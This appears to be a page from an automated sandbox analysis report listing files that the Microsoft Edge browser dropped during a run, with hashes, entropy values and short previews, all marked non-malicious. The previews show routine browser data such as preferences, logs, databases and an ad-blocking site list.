Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\d06b08ea-2957-4121-a871-f6ad4c03896b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67327020-1F88.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4436441506142198
Encrypted:	false
SSDEEP:	3072:/z2t6lN2xvQ4i2BvfPkcxkPpbnWRZHOkIqRLeWn5V5qlg1HFFb:at6+22BvXkcxkFHkIq9eWn5V5qlaHj
MD5:	59020D38DF3006D96DD1C09EF5F3F23A
SHA1:	B4530F761C38C7E8915D1F27150F3D1C478ED98B
SHA-256:	CB6927281D1F52759C7C2412CF61515F0C1427EE771507BCDB3025B3B35DCE3E
SHA-512:	D9FA0502483F59314657A1667FFC3B76167530A054F98D5953C38942283EF907B52947D867899998C87C43ACC3909D472837EA22EBC22E878B199FAAAD9200EA
Malicious:	false
Preview:	...@..@...@.....C.].....@...............X...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".vxummp20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........6...... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\022fe366-a43f-4d98-9fb0-9f11374f0fc1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30244
Entropy (8bit):	5.566028573884355
Encrypted:	false
SSDEEP:	768:zsDdCY27pLGLpzeWPysfxx8F1+UoAYDCx9Tuqh0VfUC9xbog/OVBBMuzKCrwNUpm:zsDdCYWcpzeWPysfxxu1ja4BMaKnytw
MD5:	0DECB4829D14CC847FCDCC9E5BD08C8A
SHA1:	75EEA0FE3384962A8CE13D065109878C7CE93C44
SHA-256:	0244C1FAA21F639D821BFEBB21B5B575DE8607AF6EE38B17F01707A653F1B2C7
SHA-512:	BD01A229A49F4F384847E9160CCB511196E6A1150A74FC64215E6DDA47D7726080AA1E900689B1D3941427C1032481F280C2C6020F696D3BB73DE22D5C100A13
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375832352693332","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375832352693332","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\076754b8-e2d7-4205-bf78-41dd57fc20b3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (14616), with no line terminators
Category:	dropped
Size (bytes):	14617
Entropy (8bit):	5.472757003989155
Encrypted:	false
SSDEEP:	384:stJQJsTrTfhGr4PmBTPhJz6wPYmZHbGJQwv6WGlaTYx:s/1/fs4e6wPXZHbGaIcaTYx
MD5:	66D315CB3541653F778E363A6E05C0DA
SHA1:	40624E56B6A8735F1821642F93DBFAA660680A8D
SHA-256:	D4DCC75922249443E1530C85AE775C163411573B8EF3AE52BBCBAF47430A9FCD
SHA-512:	73B21C99B826BC864CD35D41E7F3B6535A7C54FB90FBAF7FBD6F5ADF8C70241AF82C98A561286E31C0ABF922D9E09764DC24BDC6BB4417374EB334659D0580E3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375832353391280","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5541bb02-a76c-40a5-8ead-28af34d2d89a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\63c666f8-705b-40c4-8b61-d07dea2b3a6e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13674), with no line terminators
Category:	dropped
Size (bytes):	13675
Entropy (8bit):	5.431498633828375
Encrypted:	false
SSDEEP:	384:stJQJsTrTfhPmBTPhJz6wPYmZNbGJQwv6WDaTYx:s/1/f46wPXZNbGaIPaTYx
MD5:	4F078CDEFC98B6CAB49FD6F2C6C337FA
SHA1:	F447346DC4D6BE0A971F1BC2FEFFF803D7C4F9FA
SHA-256:	24B83DD305E56541F526B330F8A68BD51776E22231CA562E2279B720004DCD84
SHA-512:	03795E975C6BC6A508A6E344F61B83143A92DEDD93803C91966625FC36ED9B689631CC333F15C198452801302BC64269CB113A9A7E1C0C31F04251D61E3E0DA4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375832353391280","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\75a4f5de-7c2e-4dd6-9d00-c2bf40153ab0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.5672514978815455
Encrypted:	false
SSDEEP:	768:zsDd4eWPysfax8F1+UoAYDCx9Tuqh0VfUC9xbog/OVjuzKCrwNTp3tu4:zsDd4eWPysfaxu1ja6aKnztT
MD5:	4A8F771C308DB2F72FC0F57F55768769
SHA1:	9AC1A86BF200E5B4332746B35820EE662631A4D7
SHA-256:	89F648B0B6F3E19730D8BA3549B2666D238959A53770A752E977BFAE2D830B92
SHA-512:	13EBB1CCDB6DF51B308437756A0BE809CCA1B406D4224C063216CBE6CCE4F433FE74B6CE6642A062A2FEA8504AFB3674099EB1A062E01EFED2C77C87A5BF0940
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375832352693332","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375832352693332","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\80fb2982-f0fa-4d15-82e3-3fd42d2e7199.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (14451), with no line terminators
Category:	dropped
Size (bytes):	14452
Entropy (8bit):	5.477236065301174
Encrypted:	false
SSDEEP:	384:stJQJsTrTfhGr4PmBTPhJz6wPYmZHbGJQwv6WDaTYx:s/1/fs4e6wPXZHbGaIPaTYx
MD5:	1BFD4AA20F0FA86E03312EB06397E62D
SHA1:	410B1AC566739E4D0B4CAE7121FC2FE1E14CC5BB
SHA-256:	CC4361B3E036D68A65A9415A8B23C4C649D56D5BABA4F118B4B57CD73406CC1D
SHA-512:	0D10933987FE48C2E614C29F1B6FC2F1B13387E4FDE918B95CDD2A99A40389F03C0236CC66D8DAB5105C6E4EA52B5148824CB7B41ED36D6C661738B6424641CF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375832353391280","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.205873335027602
Encrypted:	false
SSDEEP:	6:HUWJJplB1923oH+Tcwtp3hBtB2KLlVUWJUQ+q2P923oH+Tcwtp3hBWsIFUv:/FlMYebp3dFLnqVv4Yebp3eFUv
MD5:	C3B22A5FC49D36680AD5029906F55499
SHA1:	83D7FBE16E471FFCB417638E456B7E2A94D62010
SHA-256:	FB32BB008A1DE34EBCC6C644A12F888A865567245A03AF80168ABB2476CA82C5
SHA-512:	4FED89E06525043C28CD457BDD38CC53F10CF8BDE52CB57BEB38916218444095EFABE026B67C557026BD62909ABE6B8DB2F7EE8574D89BD6FA5093B83DFC0290
Malicious:	false
Preview:	2024/11/11-15:59:18.510 20f8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/11-15:59:18.521 20f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	480979
Entropy (8bit):	5.39487974824966
Encrypted:	false
SSDEEP:	3072:v+477TZyhJOGiMlbOFbXG/KFd2X13p8S15tndAYDI11csxE:v+4zZoOG1eLG/KKp8cdAYDI11csm
MD5:	491D36DB54D7B352091D637C93F20408
SHA1:	0721E4DC41AF737909B6D5F379581E4099680C6F
SHA-256:	B2DF4F1C18485ECD6EC99A94DEF2EB0F436FF72A473DD5AB5786DA3AD3C39CF7
SHA-512:	24B11F223F8A05EF491F629ABA188D2D1B5C8D9DD30FA7787D96AAA197A2DEC81572083E5A8CF754B470E7F234C8473689F7BF73C728E26036D67385EA6628C2
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.106824675440554
Encrypted:	false
SSDEEP:	6:HUWJ1+q2P923oH+Tcwt9Eh1tIFUt8YUWJbHZmw+YUWJcPtVkwO923oH+Tcwt9Ehx:/iv4Yeb9Eh16FUt8UV/+UaT5LYeb9Ehx
MD5:	B9A8B6F8675D9103B5853182131CD80C
SHA1:	8C019521718FC31B0584FD97D00839E4D33659DB
SHA-256:	7F94907F6FD69B1692EB0B726582318CC88ADAACB0093B100279A37C17B75742
SHA-512:	38771993B04D99440B5453E24C23A3621C948836C0408641297A5635EE046C59311427035795E450E9892186D4AA5B7F0273F345BBF2A14B4FC4925C174383C4
Malicious:	false
Preview:	2024/11/11-15:59:18.020 2208 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/11-15:59:18.152 2208 Recovering log #3.2024/11/11-15:59:18.157 2208 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.106824675440554
Encrypted:	false
SSDEEP:	6:HUWJ1+q2P923oH+Tcwt9Eh1tIFUt8YUWJbHZmw+YUWJcPtVkwO923oH+Tcwt9Ehx:/iv4Yeb9Eh16FUt8UV/+UaT5LYeb9Ehx
MD5:	B9A8B6F8675D9103B5853182131CD80C
SHA1:	8C019521718FC31B0584FD97D00839E4D33659DB
SHA-256:	7F94907F6FD69B1692EB0B726582318CC88ADAACB0093B100279A37C17B75742
SHA-512:	38771993B04D99440B5453E24C23A3621C948836C0408641297A5635EE046C59311427035795E450E9892186D4AA5B7F0273F345BBF2A14B4FC4925C174383C4
Malicious:	false
Preview:	2024/11/11-15:59:18.020 2208 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/11-15:59:18.152 2208 Recovering log #3.2024/11/11-15:59:18.157 2208 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46294339404423707
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuql7V4:TouQq3qh7z3bY2LNW9WMcUvBue2
MD5:	E9984434E77B09ED58DD396FC4442A9F
SHA1:	218F7C51B2B6AB36A4AB21385DA8EDCEBD7B342C
SHA-256:	619D05CC8F0E469E3ACF887244CF7DA704D3973915D7B428321F13D3216D9B40
SHA-512:	587E988FB2A90E580C166519AFCE3FA7F18A015647A8CCD91FC56908D333A5CD0DE40DEAB7D174D4884B197D4A0AC73373609F1B88D7DC26EAA3CDFB675F3619
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
